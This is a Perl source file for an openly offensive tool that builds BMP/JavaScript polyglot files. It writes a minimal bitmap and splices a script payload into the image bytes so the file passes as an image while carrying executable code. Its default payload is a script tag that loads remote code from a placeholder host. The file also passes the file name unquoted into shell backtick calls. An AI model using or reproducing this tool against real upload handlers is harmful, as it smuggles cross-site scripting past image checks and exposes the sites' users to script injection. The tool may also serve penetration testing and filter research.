#!/usr/bin/env perl
#
# BMP Payload Creator/Injector
#
# coded by sighook <alexandr.savca89@gmail.com>
# credits to Osanda Malith Jayathissa <https://osandamalith.com/>
#
# See LICENSE file for copyright and license details.
#

use strict;
use warnings;

use feature 'say';

use POSIX;
use Getopt::Long qw(:config no_ignore_case);
use File::Basename;

use constant PROGRAM => basename $0;
use constant VERSION => '1.1.1';

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                              Default Options                                #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

my %opts = (
    payload => '<script src=//example.com></script>',
);

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                                Subroutines                                  #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

sub create_bmp {
    say "[>] Generating output file";

    my $bmp_minimal =
          "\x42\x4d\x1e\x00\x00\x00\x00\x00\x00\x00\x1a\x00"
        . "\x00\x00\x0c\x00\x00\x00\x01\x00\x01\x00\x01\x00"
        . "\x18\x00\x00\x00\xff\x00";

    sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
    syswrite   $fh, $bmp_minimal;
    close      $fh;

    say "[✔] File saved to: $opts{FILE}\n";
}

sub inject_payload {
    say "[>] Injecting payload into $opts{FILE}";

    sysopen my $fh, $opts{FILE}, O_RDWR;
    sysseek    $fh, 2, SEEK_SET;

    syswrite   $fh, "\x2f\x2a";
    sysseek    $fh, 0, SEEK_END;

    syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
    syswrite   $fh, $opts{payload};
    syswrite   $fh, "\x3b";

    close      $fh;

    say "[✔] Payload was injected successfully\n";
}

sub banner {
    <<EOF;
...... BMP Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
EOF
}

sub usage {
    <<"EOF";
Usage: @{[ PROGRAM ]} [OPTION]... FILE
Hide Payload/Malicious Code in BMP Images.

Mandatory arguments to long options are mandatory for short options too.
  -P, --payload STRING   set payload for injection
  -v, --version          print version and exit
  -h, --help             print help and exit

If the output FILE already exists, then payload will be injected into this
existing file. Otherwise, the new one will be created.
EOF
}

sub version {
    PROGRAM . " " . VERSION;
}

sub main {
    # command-line options
    GetOptions(
        'h|help!'       =>  \$opts{help},
        'v|version!'    =>  \$opts{version},
        'P|payload=s'   =>  \$opts{payload},
    ) or die "$!\n";

    $opts{FILE} = shift @ARGV;

    say &usage    and  exit(0)  if   $opts{help};
    say &version  and  exit(0)  if   $opts{version};
    say &usage    and  exit(1)  if ! $opts{FILE};

    say &banner;

    &create_bmp if ! -f $opts{FILE};
    &inject_payload;

    if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }

    if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
    elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
}

&main;

# vim:sw=4:ts=4:sts=4:et:cc=80
# End of file.
